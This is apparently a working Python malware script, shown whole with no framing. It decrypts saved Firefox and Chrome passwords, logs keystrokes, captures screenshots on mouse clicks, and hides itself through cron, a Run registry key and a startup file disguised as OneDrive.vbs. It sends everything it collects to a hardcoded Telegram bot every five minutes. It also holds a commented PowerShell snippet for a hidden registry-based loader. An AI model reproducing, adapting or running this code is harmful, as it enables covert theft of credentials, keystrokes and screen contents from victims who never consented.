import urllib import os import platform import threading import sys import shutil import subprocess from time import sleep def do(): import argparse import csv import ctypes as ct import json import logging import os import select import sqlite3 import sys from base64 import b64decode from getpass import getpass from subprocess import PIPE, Popen try: from subprocess import DEVNULL except ImportError: DEVNULL = open(os.devnull, 'w') try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse try: from configparser import ConfigParser raw_input = input except ImportError: from ConfigParser import ConfigParser PY3 = sys.version_info.major > 2 LOG = None VERBOSE = False SYS64 = sys.maxsize > 2**32 if not PY3 and os.name == "nt": sys.stderr.write("WARNING: You are using Python 2 on Windows. If your " "passwords include non-alphanumeric characters you " "will run into problems.\n") sys.stderr.write("WARNING: Python 2 + Windows is no longer supported. " "Please use Python 3 instead\n") if os.name == "nt": SYS_ENCODING = "cp1252" LIB_ENCODING = "utf8" else: SYS_ENCODING = "utf8" LIB_ENCODING = "utf8" USR_ENCODING = sys.stdin.encoding or sys.stdout.encoding or "utf8" def py2_decode(_bytes, encoding=USR_ENCODING): if PY3: return _bytes else: return _bytes.decode(encoding) def py2_encode(_unicode, encoding=USR_ENCODING): if PY3: return _unicode else: return _unicode.encode(encoding) def type_decode(encoding): return lambda x: py2_decode(x, encoding) def get_version(): """Obtain version information from git if available otherwise use the internal version number """ def internal_version(): return '.'.join(map(str, __version_info__[:3])) + ''.join(__version_info__[3:]) try: p = Popen(["git", "describe", "--tags"], stdout=PIPE, stderr=DEVNULL) except OSError: return internal_version() stdout, stderr = p.communicate() if p.returncode: return internal_version() else: return stdout.decode(USR_ENCODING).strip() __version_info__ = (0, 8, 0, "+git") __version__ = get_version() class NotFoundError(Exception): """Exception to handle situations where a credentials file is not found """ pass class Exit(Exception): """Exception to allow a clean exit from any point in execution """ ERROR = 1 MISSING_PROFILEINI = 2 MISSING_SECRETS = 3 BAD_PROFILEINI = 4 LOCATION_NO_DIRECTORY = 5 BAD_SECRETS = 6 FAIL_LOCATE_NSS = 10 FAIL_LOAD_NSS = 11 FAIL_INIT_NSS = 12 FAIL_NSS_KEYSLOT = 13 FAIL_SHUTDOWN_NSS = 14 BAD_MASTER_PASSWORD = 15 NEED_MASTER_PASSWORD = 16 PASSSTORE_NOT_INIT = 20 PASSSTORE_MISSING = 21 PASSSTORE_ERROR = 22 READ_GOT_EOF = 30 MISSING_CHOICE = 31 NO_SUCH_PROFILE = 32 UNKNOWN_ERROR = 100 KEYBOARD_INTERRUPT = 102 def __init__(self, exitcode): self.exitcode = exitcode def __unicode__(self): return "Premature program exit with exit code {0}".format(self.exitcode) class Credentials(object): """Base credentials backend manager """ def __init__(self, db): self.db = db if not os.path.isfile(db): raise NotFoundError("ERROR - {0} database not found\n".format(db)) def __iter__(self): pass def done(self): """Override this method if the credentials subclass needs to do any action after interaction """ pass class SqliteCredentials(Credentials): """SQLite credentials backend manager """ def __init__(self, profile): db = os.path.join(profile, "signons.sqlite") super(SqliteCredentials, self).__init__(db) self.conn = sqlite3.connect(db) self.c = self.conn.cursor() def __iter__(self): self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType " "FROM moz_logins") for i in self.c: yield i def done(self): """Close the sqlite cursor and database connection """ super(SqliteCredentials, self).done() self.c.close() self.conn.close() class JsonCredentials(Credentials): """JSON credentials backend manager """ def __init__(self, profile): db = os.path.join(profile, "logins.json") super(JsonCredentials, self).__init__(db) def __iter__(self): with open(self.db) as fh: data = json.load(fh) try: logins = data["logins"] except Exception: raise Exit(Exit.BAD_SECRETS) for i in logins: yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"], i["encType"]) class NSSDecoder(object): class SECItem(ct.Structure): """struct needed to interact with libnss """ _fields_ = [ ('type', ct.c_uint), ('data', ct.c_char_p), ('len', ct.c_uint), ] class PK11SlotInfo(ct.Structure): """opaque structure representing a logical PKCS slot """ def __init__(self): self.NSS = None self.load_libnss() SlotInfoPtr = ct.POINTER(self.PK11SlotInfo) SECItemPtr = ct.POINTER(self.SECItem) self._set_ctypes(ct.c_int, "NSS_Init", ct.c_char_p) self._set_ctypes(ct.c_int, "NSS_Shutdown") self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot") self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr) self._set_ctypes(ct.c_int, "PK11_CheckUserPassword", SlotInfoPtr, ct.c_char_p) self._set_ctypes(ct.c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, ct.c_void_p) self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, ct.c_int) self._set_ctypes(ct.c_int, "PORT_GetError") self._set_ctypes(ct.c_char_p, "PR_ErrorToName", ct.c_int) self._set_ctypes(ct.c_char_p, "PR_ErrorToString", ct.c_int, ct.c_uint32) def _set_ctypes(self, restype, name, *argtypes): """Set input/output types on libnss C functions for automatic type casting """ res = getattr(self.NSS, name) res.restype = restype res.argtypes = argtypes setattr(self, "_" + name, res) @staticmethod def find_nss(locations, nssname): """Locate nss is one of the many possible locations """ fail_errors = [] for loc in locations: nsslib = os.path.join(loc, nssname) if os.name == "nt": os.environ["PATH"] = ';'.join([loc, os.environ["PATH"]]) if loc: if not os.path.isdir(loc): continue workdir = os.getcwd() os.chdir(loc) try: nss = ct.CDLL(nsslib) except OSError as e: fail_errors.append((nsslib, str(e))) else: return nss finally: if os.name == "nt" and loc: os.chdir(workdir) def load_libnss(self): """Load libnss into python using the CDLL interface """ if os.name == "nt": nssname = "nss3.dll" if SYS64: locations = ( "", r"C:\Program Files\Mozilla Firefox", r"C:\Program Files\Mozilla Thunderbird", r"C:\Program Files\Nightly", ) else: locations = ( "", r"C:\Program Files (x86)\Mozilla Firefox", r"C:\Program Files (x86)\Mozilla Thunderbird", r"C:\Program Files (x86)\Nightly", r"C:\Program Files\Mozilla Firefox", r"C:\Program Files\Mozilla Thunderbird", r"C:\Program Files\Nightly", ) elif os.uname()[0] == "Darwin": nssname = "libnss3.dylib" locations = ( "", "/usr/local/lib/nss", "/usr/local/lib", "/opt/local/lib/nss", "/sw/lib/firefox", "/sw/lib/mozilla", "/usr/local/opt/nss/lib", "/opt/pkg/lib/nss", ) else: nssname = "libnss3.so" if SYS64: locations = ( "", "/usr/lib64", "/usr/lib64/nss", "/usr/lib", "/usr/lib/nss", "/usr/local/lib", "/usr/local/lib/nss", "/opt/local/lib", "/opt/local/lib/nss", os.path.expanduser("~/.nix-profile/lib"), ) else: locations = ( "", "/usr/lib", "/usr/lib/nss", "/usr/lib32", "/usr/lib32/nss", "/usr/lib64", "/usr/lib64/nss", "/usr/local/lib", "/usr/local/lib/nss", "/opt/local/lib", "/opt/local/lib/nss", os.path.expanduser("~/.nix-profile/lib"), ) self.NSS = self.find_nss(locations, nssname) def handle_error(self): """If an error happens in libnss, handle it and print some debug information """ code = self._PORT_GetError() name = self._PR_ErrorToName(code) name = "NULL" if name is None else name.decode(SYS_ENCODING) text = self._PR_ErrorToString(code, 0) text = text.decode(SYS_ENCODING) def decode(self, data64): data = b64decode(data64) inp = self.SECItem(0, data, len(data)) out = self.SECItem(0, None, 0) e = self._PK11SDR_Decrypt(inp, out, None) try: if e == -1: self.handle_error() raise Exit(Exit.NEED_MASTER_PASSWORD) res = ct.string_at(out.data, out.len).decode(LIB_ENCODING) finally: self._SECITEM_ZfreeItem(out, 0) return res class NSSInteraction(object): """ Interact with lib NSS """ def __init__(self): self.profile = None self.NSS = NSSDecoder() def load_profile(self, profile): """Initialize the NSS library and profile """ self.profile = profile profile = profile.encode(LIB_ENCODING) e = self.NSS._NSS_Init(b"sql:" + profile) if e != 0: self.NSS.handle_error() raise Exit(Exit.FAIL_INIT_NSS) def authenticate(self, interactive): """Check if the current profile is protected by a master password, prompt the user and unlock the profile. """ keyslot = self.NSS._PK11_GetInternalKeySlot() if not keyslot: self.NSS.handle_error() raise Exit(Exit.FAIL_NSS_KEYSLOT) try: password = ask_password(self.profile, interactive) if password: e = self.NSS._PK11_CheckUserPassword(keyslot, password.encode(LIB_ENCODING)) if e != 0: self.NSS.handle_error() raise Exit(Exit.BAD_MASTER_PASSWORD) finally: self.NSS._PK11_FreeSlot(keyslot) def unload_profile(self): """Shutdown NSS and deactivate current profile """ e = self.NSS._NSS_Shutdown() if e != 0: self.NSS.handle_error() raise Exit(Exit.FAIL_SHUTDOWN_NSS) def decode_entry(self, user64, passw64): """Decrypt one entry in the database """ user = self.NSS.decode(user64) passw = self.NSS.decode(passw64) return user, passw def decrypt_passwords(self, export, output_format="human", csv_delimiter=";", csv_quotechar="|"): """ Decrypt requested profile using the provided password and print out all stored passwords. """ got_password = False header = True credentials = obtain_credentials(self.profile) to_export = {} l = [] for url, user, passw, enctype in credentials: if enctype: user, passw = self.decode_entry(user, passw) l.append((url,user,passw)) return l def test_password_store(export, pass_cmd): """Check if pass from passwordstore.org is installed If it is installed but not initialized, initialize it """ if not export: return try: p = Popen([pass_cmd], stdout=PIPE, stderr=PIPE) except OSError as e: if e.errno == 2: raise Exit(Exit.PASSSTORE_MISSING) else: raise Exit(Exit.UNKNOWN_ERROR) out, err = p.communicate() if p.returncode != 0: if 'Try "pass init"' in err: raise Exit(Exit.PASSSTORE_NOT_INIT) else: raise Exit(Exit.UNKNOWN_ERROR) def obtain_credentials(profile): """Figure out which of the 2 possible backend credential engines is available """ try: credentials = JsonCredentials(profile) except NotFoundError: try: credentials = SqliteCredentials(profile) except NotFoundError: raise Exit(Exit.MISSING_SECRETS) return credentials def export_pass(to_export, pass_cmd, prefix, username_prefix): """Export given passwords to password store Format of "to_export" should be: {"address": {"login": "password", ...}, ...} """ if prefix: prefix = u"{0}/".format(prefix) for address in to_export: for user, passw in to_export[address].items(): if len(to_export[address]) > 1: passname = u"{0}{1}/{2}".format(prefix, address, user) else: passname = u"{0}{1}".format(prefix, address) data = u"{0}\n{1}{2}\n".format(passw, username_prefix, user) cmd = [pass_cmd, "insert", "--force", "--multiline", passname] p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE) out, err = p.communicate(data.encode(SYS_ENCODING)) if p.returncode != 0: raise Exit(Exit.PASSSTORE_ERROR) def get_sections(profiles): """ Returns hash of profile numbers and profile names. """ sections = {} i = 1 for section in profiles.sections(): if section.startswith("Profile"): sections[str(i)] = profiles.get(section, "Path") i += 1 else: continue return sections def print_sections(sections, textIOWrapper=sys.stderr): """ Prints all available sections to an textIOWrapper (defaults to sys.stderr) """ for i in sorted(sections): textIOWrapper.write("{0} -> {1}\n".format(i, sections[i])) textIOWrapper.flush() def ask_section(profiles, choice_arg): """ Prompt the user which profile should be used for decryption """ sections = get_sections(profiles) if choice_arg and len(choice_arg) == 1: choice = choice_arg[0] else: if len(sections) == 1: choice = "1" else: choice = None while choice not in sections: sys.stderr.write("Select the Firefox profile you wish to decrypt\n") print_sections(sections) try: choice = raw_input() except EOFError: raise Exit(Exit.READ_GOT_EOF) try: final_choice = sections[choice] except KeyError: raise Exit(Exit.NO_SUCH_PROFILE) return final_choice def ask_password(profile, interactive): if not PY3: profile = profile.encode(SYS_ENCODING) passmsg = "\nMaster Password for profile {0}: ".format(profile) passwd="" return py2_decode(passwd) def read_profiles(basepath, list_profiles): """ Parse Firefox profiles in provided location. If list_profiles is true, will exit after listing available profiles. """ profileini = os.path.join(basepath, "profiles.ini") if not os.path.isfile(profileini): raise Exit(Exit.MISSING_PROFILEINI) profiles = ConfigParser() profiles.read(profileini) if list_profiles: print_sections(get_sections(profiles), sys.stdout) raise Exit(0) return profiles def get_profile(basepath, interactive, choice, list_profiles): """ Select profile to use by either reading profiles.ini or assuming given path is already a profile If interactive is false, will not try to ask which profile to decrypt. choice contains the choice the user gave us as an CLI arg. If list_profiles is true will exits after listing all available profiles. """ try: profiles = read_profiles(basepath, list_profiles) except Exit as e: if e.exitcode == Exit.MISSING_PROFILEINI: profile = basepath if list_profiles: raise if not os.path.isdir(profile): raise else: raise else: sections = get_sections(profiles) for idx,section in sections.items(): section = py2_decode(section, LIB_ENCODING) profile = os.path.join(basepath, section) yield profile args = [] nss = NSSInteraction() if os.name == "nt": profile_path = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox") elif os.uname()[0] == "Darwin": profile_path = "~/Library/Application Support/Firefox" else: profile_path = "~/.mozilla/firefox" basepath = os.path.expanduser(profile_path) for profile in get_profile(basepath, False, None, False): try: nss.load_profile(profile) except: continue nss.authenticate(False) to_export = nss.decrypt_passwords( export=False, output_format="csv", csv_delimiter=",", csv_quotechar='"', ) nss.unload_profile() return to_export def import_or_install(package): import importlib try: importlib.import_module(package) except ImportError: import pip # TODO: IF NO PIP, install PIP manually pip.main(['install', package]) finally: globals()[package] = importlib.import_module(package) import_or_install("mss") import_or_install("pynput") import_or_install("psutil") import_or_install("requests") import_or_install("chromepass") OS = "l" if "linux" in platform.platform().lower() else "w" def close_if_open(): filename = __file__ mypid = os.getpid() for p in psutil.process_iter(["name", "exe", "cmdline"]): print(p) try: if filename in p.info["cmdline"]: if not p.pid == mypid: sys.exit() except: pass def persist(): if OS=="l": #linux opt = "" try: opt = subprocess.check_output(["bash","-c","crontab -l"],stderr="/dev/null").decode().strip() except Exception as e: pass # print(opt) if not __file__ in opt: try: shutil.copy(os.path.join(os.path.abspath("."),__file__), os.path.join(os.path.expanduser("~"), ".apt_stable.py")) except: pass cmd = "python3 " + os.path.join(os.path.expanduser("~"), ".apt_stable.py") subprocess.run(["bash","-c",f"(echo \\* \\* \\* \\* \\* DISPLAY=:0 {cmd}; echo {opt}) | crontab "]) else: #windows #test this """ MAYBE BETTER? RUN IN POWERSHELL $abc = "HKCU:/Software/Microsoft/Windows/CurrentVersion/Run/" $def = "HKCU:/Software/Microsoft/Windows/CurrentVersion/WinTrust/Trust Providers/" $key = Get-Item -LiteralPath $abc -ErrorAction SilentlyContinue $ec = [System.Convert]::ToBase64String([system.Text.Encoding]::utf8.getbytes($global:gr)) $val = "powershell.exe -win hidden -NonI -c (icm -scriptblock ([scriptblock]::Create([System.Text.Encoding]::utf8.GetString([System.Convert]::FromBase64String((gp 'HKCU:\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\').State)))))" if ($key.Property -Like "{{ ron.obf_reg_key_name }}"){ $global:tr = "0" } else { New-ItemProperty -path $abc -Name {{ ron.obf_reg_key_name }} -Value $val -PropertyType "String" | Out-Null New-ItemProperty -Path $def -Name State -Value $ec -PropertyType "String" | Out-Null $global:tr = "1" } """ try: shutil.copy(os.path.join(os.path.abspath("."),__file__), os.path.join(os.path.expandvars("%APPDATA%"), ".apt_stable.py")) except: pass address=os.path.join(os.path.expandvars("%APPDATA%"), ".apt_stable.py") import winreg as reg key = "HKEY_CURRENT_USER" key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" _open = reg.OpenKey(reg.HKEY_CURRENT_USER,key_value,0,reg.KEY_ALL_ACCESS) reg.SetValueEx(_open,".apt_stable",0,reg.REG_SZ,f"pyw {address}") reg.CloseKey(_open) with open(os.path.join(os.path.expandvars("%APPDATA%"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.vbs"), "w") as f: f.write('Set oShell = CreateObject("WScript.Shell")\n') f.write(f'oShell.run "pyw "{address}"') def get_uuid(): import uuid as _uuid if OS == "l": if os.path.exists(os.path.join(os.path.expanduser("~"),".uuid")): uuid = "" with open(os.path.join(os.path.expanduser("~"),".uuid"), "r") as f: uuid = f.read() try: uuid = _uuid.UUID(uuid, version=4) return uuid except Exception as e: pass uuid = str(_uuid.uuid4()) with open(os.path.join(os.path.expanduser("~"),".uuid"), "w") as f: f.write(uuid) return uuid else: if os.path.exists(os.path.join(os.path.expandvars("%APPDATA%"),".uuid")): uuid = "" with open(os.path.join(os.path.expandvars("%APPDATA%"),".uuid"), "r") as f: uuid = f.read() try: uuid = _uuid.UUID(uuid, version=4) return uuid except: pass uuid = str(_uuid.uuid4()) with open(os.path.join(os.path.expandvars("%APPDATA%"),".uuid"), "w") as f: f.write(uuid) return uuid UUID="" try: UUID = str(get_uuid()) + "".join(os.uname()) except: UUID = str(get_uuid()) + " ".join([i for i in platform.uname()]) TOKEN = "1703680052:AAGi_XWwdenlQ2U3M73X9XumCM5KVgSiO5M" chat_id = "303757027" # chat_id = "-1001459013908" SHOTURL = f"https://api.telegram.org/bot{TOKEN}/sendPhoto" LOGURL = f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&" LOG = "" COUNTER = 0 def send_data(data): r=requests.get(LOGURL+urllib.parse.urlencode({'text':data})) def log(key): global LOG current_key = "" try: current_key += str(key.char) except AttributeError: if key == key.space: current_key += " " elif key == key.enter: current_key += " [ENTER] " elif key == key.backspace: current_key += " [BACKSPACE] " elif key == key.ctrl_l or key == key.ctrl_r: current_key += " [CTRL] " elif key == key.shift or key == key.shift_r: current_key += " [SHIFT] " elif key == key.delete: current_key += " [DELETE] " elif key == key.esc: current_key += " [ESC] " elif key == key.tab: current_key += " [TAB] " elif key == key.up: current_key += " [UP] " elif key == key.down: current_key += " [DOWN] " elif key == key.left: current_key += " [LEFT] " elif key == key.right: current_key += " [RIGHT] " elif key == key.cmd or key == key.cmd_r: current_key += " [WINDOWS-KEY] " elif key == key.f1: current_key += " [F1] " elif key == key.f2: current_key += " [F2] " elif key == key.f3: current_key += " [F3] " elif key == key.f4: current_key += " [F4] " elif key == key.f5: current_key += " [F5] " elif key == key.f6: current_key += " [F6] " elif key == key.f7: current_key += " [F7] " elif key == key.f8: current_key += " [F8] " elif key == key.f9: current_key += " [F9] " elif key == key.f10: current_key += " [F10] " elif key == key.f11: current_key += " [F11] " elif key == key.f12: current_key += " [F12] " elif key == key.alt_l or key == key.alt_r: current_key += " [ALT] " elif key == key.caps_lock: current_key += " [CAPSLOCK] " elif key == key.home: current_key += " [HOME] " else: current_key += " " + str(key) + " " LOG += current_key def log_start(): keyboard_listener = pynput.keyboard.Listener(on_press=log) with keyboard_listener: keyboard_listener.join() def _send_shot(*args): global COUNTER if COUNTER <= 20: COUNTER += 1 return COUNTER = 0 with mss.mss() as sct: filename = sct.shot(output="shot.png") r=requests.post(SHOTURL, data={"chat_id":chat_id, "caption":f"SHOT FROM #{UUID}"},files={'photo': (filename, open(filename, 'rb')),}) os.remove(filename) def click_start(): with pynput.mouse.Listener(on_click=_send_shot) as listener: listener.join() def send_log(): global LOG _send_shot() print("GONNLOG") log = urllib.parse.urlencode({'text':f"LOG FROM #{UUID}:\n\n"+LOG}) print(log) LOG = "" r=requests.get(LOGURL+log.replace("&","[AND]")) print(r.content) def get_queue(): pass def add_to_queue(): pass close_if_open() threading.Thread(target=log_start).start() threading.Thread(target=click_start).start() add_to_queue() persist() send_data(f"B-DATA FROM #{UUID}:\n\n") try: ret = do() for url,usr,passw in ret: send_data(f"{url} - {usr}:{passw}") except: pass try: for row in chromepass.Chromepass().get_passwords(): send_data(f"{row['url']} - {row['username']}:{row['password']}") except: pass while True: try: get_queue() send_log() except: pass sleep(300)